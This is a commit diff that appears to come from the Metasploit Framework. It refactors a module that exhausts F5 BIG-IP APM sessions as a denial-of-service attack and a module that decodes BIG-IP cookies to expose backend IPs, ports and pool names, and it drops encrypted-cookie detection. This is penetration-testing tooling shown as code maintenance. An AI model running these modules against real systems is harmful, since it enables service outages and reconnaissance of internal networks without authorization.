Delete useless ecnryption cookie detection, fix minor issues

dnkolegov · dnkolegov · commit 040a1af9c53f · 2015-03-25T02:34:33.000-04:00
diff --git a/modules/auxiliary/dos/http/f5_bigip_apm_max_sessions.rb b/modules/auxiliary/dos/http/f5_bigip_apm_max_sessions.rb
@@ -6,7 +6,6 @@
 require 'msf/core'
 
 class Metasploit3 < Msf::Auxiliary
-
   include Msf::Exploit::Remote::HttpClient
 
   def initialize(info = {})
@@ -22,10 +21,10 @@ def initialize(info = {})
       },
       'Author'         =>
         [
-         'Oleg Broslavsky <ovbroslavsky[at]gmail.com>',
-         'Nikita Oleksov <neoleksov[at]gmail.com>',
-         'Denis Kolegov <dnkolegov[at]gmail.com>',
-         ],
+          'Oleg Broslavsky <ovbroslavsky[at]gmail.com>',
+          'Nikita Oleksov <neoleksov[at]gmail.com>',
+          'Denis Kolegov <dnkolegov[at]gmail.com>'
+        ],
       'References'     =>
         [
           ['URL', 'https://support.f5.com/kb/en-us/products/big-ip_apm/releasenotes/product/relnote-apm-11-6-0.html']
@@ -47,34 +46,35 @@ def initialize(info = {})
 
   def run
     # Main function
-      datastore['SSL']? proto = 'https' : proto = 'http'
+    rlimit = datastore['RLIMIT']
+    proto = datastore['SSL'] ? 'https' : 'http'
 
     # Send an initial test request
-      res = send_request_cgi('method' => 'GET', 'uri' => '/')
-      if res
-        print_status("#{peer} - Starting DoS attack")
-      else
-        print_error("#{proto}://#{rhost}:#{rport} - Unable to connect to BIgIP. Please check options")
-        return
-      end
+    res = send_request_cgi('method' => 'GET', 'uri' => '/')
+    if res
+      print_status("#{peer} - Starting DoS attack")
+    else
+      print_error("#{proto}://#{rhost}:#{rport} - Unable to connect to BIgIP. Please check options")
+      return
+    end
 
     # Start attack
-      for i in 1..datastore['RLIMIT']
-        res = send_request_cgi('method' => 'GET', 'uri' => '/')
-        if res and res.headers['Location'] == '/my.logout.php3?errorcode=14'
-          print_status("#{peer} - The maximum number of concurrent user sessions has been reached. No new user sessions can start at this time")
-          print_status("#{peer} - DoS attack is successful")
-          return;
-        end
+    (1..rlimit).each do
+      res = send_request_cgi('method' => 'GET', 'uri' => '/')
+      if res && res.headers['Location'] == '/my.logout.php3?errorcode=14'
+        print_status("#{peer} - The maximum number of concurrent user sessions has been reached. No new user sessions can start at this time")
+        print_status("#{peer} - DoS attack is successful")
+        return
       end
+    end
 
     # Check if attack is unsuccessfull
-      res = send_request_cgi('method' => 'GET', 'uri' => uri)
-      if res.headers['Location'] == '/my.policy'
-        print_status("#{peer} - DoS attack is unsuccessful. Try to increase the RLIMIT number")
-      else
-        print_status("#{peer} - Result is undefined. Try to manually determine DoS attack result")
-      end
+    res = send_request_cgi('method' => 'GET', 'uri' => uri)
+    if res.headers['Location'] == '/my.policy'
+      print_status("#{peer} - DoS attack is unsuccessful. Try to increase the RLIMIT number")
+    else
+      print_status("#{peer} - Result is undefined. Try to manually determine DoS attack result")
+    end
 
     rescue ::Rex::ConnectionRefused
       print_error("#{proto}://#{rhost}:#{rport} - Unable to connect to BigIP")
@@ -84,8 +84,6 @@ def run
       print_error("#{peer} - The connection was reset. Probably BigIP \"Max In Progress Sessions Per Client IP\" counter was reached")
       print_status("#{peer} - DoS attack is unsuccessful")
     rescue ::OpenSSL::SSL::SSLError
-     print_error("#{peer} - SSL/TLS connection error")
-
+      print_error("#{peer} - SSL/TLS connection error")
   end
-
 end
diff --git a/modules/auxiliary/gather/f5_bigip_cookie_disclosure.rb b/modules/auxiliary/gather/f5_bigip_cookie_disclosure.rb
@@ -6,7 +6,6 @@
 require 'msf/core'
 
 class Metasploit3 < Msf::Auxiliary
-
   include Msf::Auxiliary::Report
   include Msf::Exploit::Remote::HttpClient
 
@@ -17,11 +16,13 @@ def initialize(info = {})
         This module identifies F5 BigIP load balancers and leaks backend
         information (pool name, backend's IP address and port, routed domain) through cookies inserted by the BigIP system.
       },
-      'Author'         => [ 'Thanat0s <thanspam[at]trollprod.org>',
-                            'Oleg Broslavsky <ovbroslavsky[at]gmail.com>',
-                            'Nikita Oleksov <neoleksov[at]gmail.com>',
-                            'Denis Kolegov <dnkolegov[at]gmail.com>'
-                          ],
+      'Author'         =>
+        [
+          'Thanat0s <thanspam[at]trollprod.org>',
+          'Oleg Broslavsky <ovbroslavsky[at]gmail.com>',
+          'Nikita Oleksov <neoleksov[at]gmail.com>',
+          'Denis Kolegov <dnkolegov[at]gmail.com>'
+        ],
       'References'     =>
         [
           ['URL', 'http://support.f5.com/kb/en-us/solutions/public/6000/900/sol6917.html'],
@@ -43,121 +44,114 @@ def initialize(info = {})
       ], self.class)
   end
 
-  def change_endianness(value, size=4)
+  def change_endianness(value, size = 4)
     conversion = nil
-
     if size == 4
       conversion = [value].pack("V").unpack("N").first
     elsif size == 2
       conversion = [value].pack("v").unpack("n").first
     end
-
     conversion
   end
 
   def cookie_decode(cookie_value)
-    if cookie_value =~ /(\d{8,10})\.(\d{1,5})\./
-      host = $1.to_i
-      port = $2.to_i
+    backend = {}
+    case
+    when cookie_value =~ /(\d{8,10})\.(\d{1,5})\./
+      host = Regexp.last_match(1).to_i
+      port = Regexp.last_match(2).to_i
       host = change_endianness(host)
       host = Rex::Socket.addr_itoa(host)
       port = change_endianness(port, 2)
-    elsif cookie_value.downcase =~ /rd\d+o0{20}f{4}([a-f0-9]{8})o(\d{1,5})/
-      host = $1.to_i(16)
-      port = $2.to_i
+    when cookie_value.downcase =~ /rd\d+o0{20}f{4}([a-f0-9]{8})o(\d{1,5})/
+      host = Regexp.last_match(1).to_i(16)
+      port = Regexp.last_match(2).to_i
       host = Rex::Socket.addr_itoa(host)
-    elsif cookie_value.downcase =~ /vi([a-f0-9]{32})\.(\d{1,5})/
-      host = $1.to_i(16)
-      port = $2.to_i
-      host = Rex::Socket.addr_itoa(host, v6=true)
+    when cookie_value.downcase =~ /vi([a-f0-9]{32})\.(\d{1,5})/
+      host = Regexp.last_match(1).to_i(16)
+      port = Regexp.last_match(2).to_i
+      host = Rex::Socket.addr_itoa(host, true)
       port = change_endianness(port, 2)
-    elsif cookie_value.downcase =~ /rd\d+o([a-f0-9]{32})o(\d{1,5})/
-      host = $1.to_i(16)
-      port = $2.to_i
-      host = Rex::Socket.addr_itoa(host, v6=true)
-    elsif cookie_value =~ /!(.){104}/
+    when cookie_value.downcase =~ /rd\d+o([a-f0-9]{32})o(\d{1,5})/
+      host = Regexp.last_match(1).to_i(16)
+      port = Regexp.last_match(2).to_i
+      host = Rex::Socket.addr_itoa(host, true)
+    else
       host = nil
       port = nil
     end
-    back_end = (host.nil?) ? nil : "#{host}:#{port}"
+
+    backend[:host] = (host.nil?) ? nil : host
+    backend[:port] = (port.nil?) ? nil : port
+    backend
   end
 
   def get_cookie # request a page and extract a F5 looking cookie.
     cookie = {}
-    res = send_request_raw({
-      'method' => 'GET',
-      'uri'    => @uri
-    })
+    res = send_request_raw({ 'method' => 'GET', 'uri' => @uri })
 
     unless res.nil?
       # Get the SLB session IDs for all cases:
       # 1. IPv4 pool members - "BIGipServerWEB=2263487148.3013.0000",
       # 2. IPv4 pool members in non-default routed domains - "BIGipServerWEB=rd5o00000000000000000000ffffc0000201o80",
       # 3. IPv6 pool members - "BIGipServerWEB=vi20010112000000000000000000000030.20480",
-      # 4. IPv6 pool members in non-default route domains - "BIGipServerWEB=rd3o20010112000000000000000000000030o80",
-      # 5. Encrypted cookies - "BIGipServerWEB=!dcdlUciYEFlt1QzXtD7QKx22XJx7Uuj2I0dYdFTwJASsJyJySME9/GACjztr7WYJIvHxTSNreeve7foossGzKS3vT9ECJscSg1LAc3rc"
+      # 4. IPv6 pool members in non-default route domains - "BIGipServerWEB=rd3o20010112000000000000000000000030o80"
+
+      regexp = /
+        ([~_\.\-\w\d]+)=(((?:\d+\.){2}\d+)|
+        (rd\d+o0{20}f{4}\w+o\d{1,5})|
+        (vi([a-f0-9]{32})\.(\d{1,5}))|
+        (rd\d+o([a-f0-9]{32})o(\d{1,5})))
+        (?:$|,|;|\s)
+      /x
 
-      m = res.get_cookies.match(/([~_\.\-\w\d]+)=(((?:\d+\.){2}\d+)|(rd\d+o0{20}f{4}\w+o\d{1,5})|(vi([a-f0-9]{32})\.(\d{1,5}))|(rd\d+o([a-f0-9]{32})o(\d{1,5}))|(!(.){104}))(?:$|,|;|\s)/)
+      m = res.get_cookies.match(regexp)
       cookie[:id] = (m.nil?) ? nil : m[1]
       cookie[:value] = (m.nil?) ? nil : m[2]
-
-   end
-
+    end
     cookie
   end
 
   def run
-    unless datastore['REQUESTS'] > 0
-      print_error("Please, configure more than 0 REQUESTS")
-      return
-    end
-
-    back_ends = []
+    requests = datastore['REQUESTS']
+    backends = []
     @uri = normalize_uri(target_uri.path.to_s)
     print_status("#{peer} - Starting request #{@uri}")
 
-    for i in 0...datastore['REQUESTS']
-      cookie = get_cookie() # Get the cookie
+    (1..requests).each do |i|
+      cookie = get_cookie # Get the cookie
       # If the cookie is not found, stop process
       if cookie.empty? || cookie[:id].nil?
         print_error("#{peer} - F5 BigIP load balancing cookie not found")
-          break
+        return
       end
 
       # Print the cookie name on the first request
-      if i == 0
+      if i == 1
         print_status("#{peer} - F5 BigIP load balancing cookie \"#{cookie[:id]} = #{cookie[:value]}\" found")
         if cookie[:id].start_with?('BIGipServer')
           print_status("#{peer} - Load balancing pool name \"#{cookie[:id].split('BIGipServer')[1]}\" found")
         end
         if cookie[:value].start_with?('rd')
           print_status("#{peer} - Route domain \"#{cookie[:value].split('rd')[1].split('o')[0]}\" found")
         end
-        if cookie[:value].start_with?('!')
-          print_status("#{peer} - F5 BigIP cookie is probably encrypted")
-        end
       end
 
-      back_end = cookie_decode(cookie[:value])
-      unless back_end.nil? || back_ends.include?(back_end)
-        print_status("#{peer} - Backend #{back_end} found")
-        back_ends.push(back_end)
+      backend = cookie_decode(cookie[:value])
+      unless backend[:host].nil? || backends.include?(backend)
+        print_status("#{peer} - Backend #{backend[:host]}:#{backend[:port]} found")
+        backends.push(backend)
       end
     end
 
     # Reporting found backends in database
-    unless back_ends.empty?
-      report_note(
-       :host => rhost,
-       :type => "f5_load_balancer_backends",
-       :data => back_ends
-      )
+    unless backends.empty?
+      report_note(host: rhost, type: "f5_load_balancer_backends", data: backends)
     end
 
     rescue ::Rex::ConnectionError
       print_error("#{peer} - Network connection error")
     rescue ::OpenSSL::SSL::SSLError
-     print_error("#{peer} - SSL/TLS connection error")
-
+      print_error("#{peer} - SSL/TLS connection error")
   end
 end
diff --git a/modules/auxiliary/scanner/http/f5_mgmt_scanner.rb b/modules/auxiliary/scanner/http/f5_mgmt_scanner.rb
